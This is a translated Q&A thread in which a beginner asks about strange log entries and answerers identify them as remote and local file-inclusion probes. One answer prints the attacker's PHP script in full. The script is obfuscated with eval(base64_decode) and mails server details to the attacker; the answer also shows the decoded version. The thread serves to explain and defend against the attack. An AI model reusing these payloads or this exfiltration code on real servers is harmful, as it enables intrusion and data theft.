初学者安全问题

6 security php

我对 Web 开发还是很陌生,并且对安全性有疑问。

每天在我的CPanel中查看“最新访客”,今天出现了一些奇怪的条目(下面粘贴了一个)。

不知道有什么更好的,在我看来,由于某种原因,有一些网站将用户推荐给我的网站。有人可以解释一下这些到底是什么,是否需要担心?谢谢!

Host: 77.68.38.175

/?p=http://teen-37.net/myid.jpg?
    Http Code: 404  Date: Feb 17 08:13:58   Http Version: HTTP/1.1  Size in Bytes: -
    Referer: -
    Agent: libwww-perl/5.805   *  

/?p=../../../../../../../../../../../../../../../proc/self/environ%00
    Http Code: 404  Date: Feb 17 08:13:59   Http Version: HTTP/1.1  Size in Bytes: -
    Referer: -
    Agent: libwww-perl/5.805
Run Code Online (Sandbox Code Playgroud)

Zed*_*Zed 8

简短的回答:

有人在攻击你。

长答案:

有人使用带有 LWP 模块的 Perl 脚本来充当 Web 浏览器,并从您的服务器请求奇怪的 URL 以使其执行危险的操作。这可以是自动攻击,也可以是有人手动进行。

第二个条目试图让你的服务器包含 ../../../../../../../../../../../../../. ./../proc/self/environ 在网站中,这意味着要多次访问父目录(因此可能以根目录结尾)并显示 /proc/self/environ,其中在 Linux 中显示您的环境变量可以向攻击者提供一些有用信息的过程。更新:它不仅获取信息,还探测本地文件包含漏洞,您可以通过将 PHP 代码放在 User-Agent HTTP Header 中,然后在页面中包含 /proc/self/environ 来运行任意代码。(感谢 aaz 指出。)

第一个条目更有趣,因为它显然试图让您的服务器下载攻击者的代码并让您的服务器运行它。这是我下载http://teen-37.net/myid.jpg时刚刚得到的- 它不是 JPEG 图像,而是 PHP 脚本:

<?
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "B"."a"."M"."b"."Y"."<br>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4ON6";
}
else {$safemode = false; $hsafemode = "3OFF6";}
$xos = wordwrap(php_uname(),90,"<br>",1);
$xpwd = @getcwd();
$OS = "[SAFEMOD:".$hsafemode."] [Kernel:".$xos."]";
echo "<center><A class=ria href=\"http://".$OS."\">";echo "B"."a"."M"."b"."Y</A></center><br>";
echo "<br>OSTYPE:$OS<br>";
echo "<br>Pwd:$xpwd<br>";
eval(base64_decode("JGNyZWF0b3IgPSBiYXNlNjRfZGVjb2RlKCJiWGxwWkhOallXNUFaMjFoYVd3dVkyOXQiKTsKKCRzYWZlX21vZGUpPygkc2FmZW1vZGU9Ik9OIik6KCRzYWZlbW9kZT0iT0ZGIik7CiRiYXNlPSJodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107IAokbmFtZSA9IHBocF91bmFtZSgpOwokaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7CiRob3N0ID0gZ2V0aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOwokc3ViaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgCiRtc2cgPSAiXG5CQVNFOiAkYmFzZVxudW5hbWUgLWE6ICRuYW1lXG5JUDogJGlwXG5Ib3N0OiAkaG9zdFxuJHB3ZHNcbiI7CiRmcm9tID0iRnJvbTogTU9ERV89Ii4kc2FmZW1vZGUuIjx0b29sQCIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI+IjsKbWFpbCggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZnJvbSk7"));
die("<center> ByroeNet </center>");
?>
Run Code Online (Sandbox Code Playgroud)

最后一部分 - eval(base64_decode("...")); - 显然是试图隐藏它在做什么,但你可以解码它,你会得到这个:

$creator = base64_decode("bXlpZHNjYW5AZ21haWwuY29t");
($safe_mode)?($safemode="ON"):($safemode="OFF");
$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; 
$name = php_uname();
$ip = getenv("REMOTE_ADDR");
$host = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$subj = $_SERVER['HTTP_HOST']; 
$msg = "\nBASE: $base\nuname -a: $name\nIP: $ip\nHost: $host\n$pwds\n";
$from ="From: MODE_=".$safemode."<tool@".$_SERVER['HTTP_HOST'].">";
mail( $creator, $subj, $msg, $from);
Run Code Online (Sandbox Code Playgroud)

现在,当您解码“bXlpZHNjYW5AZ21haWwuY29t”时,您将获得电子邮件地址。

我们现在知道有人试图让您的服务器做什么 - 发送包含有关您的服务器的一些信息的电子邮件。

您现在拥有攻击服务器的 IP,它可能知道也可能不知道它正在攻击 - 77.68.38.175 似乎是 server77-68-38-175.live-servers.net - 以及必须使用的攻击者的电子邮件偶尔收集数据,以及托管恶意代码的域。

在 whois 数据库中搜索 teen-37.net(托管恶意代码)、77.68.38.175 IP 地址(正在攻击您的服务器)和 123.30.181.39 IP 地址(teen-37.net 的 IP)以获取联系信息向负责报告滥用行为的人员。

此外,谷歌搜索 teen-37.net 和恶意脚本的一些随机部分可能会给你更多有趣的信息。

现在,从 404 响应代码我们可以假设这两个特定的攻击不起作用,但你不能确定,因为理论上当攻击者控制你的服务器时,他可以在做他想做的事后用 404 响应自己.

祝你好运。


小智 6

在第一个示例中,有人试图在您的网站中包含他自己的内容。如果你$_GET['p']做了一个天真include()file_get_contents()电话,这可以完成。第二个示例也是如此,尽管该示例是检索有关系统环境的信息。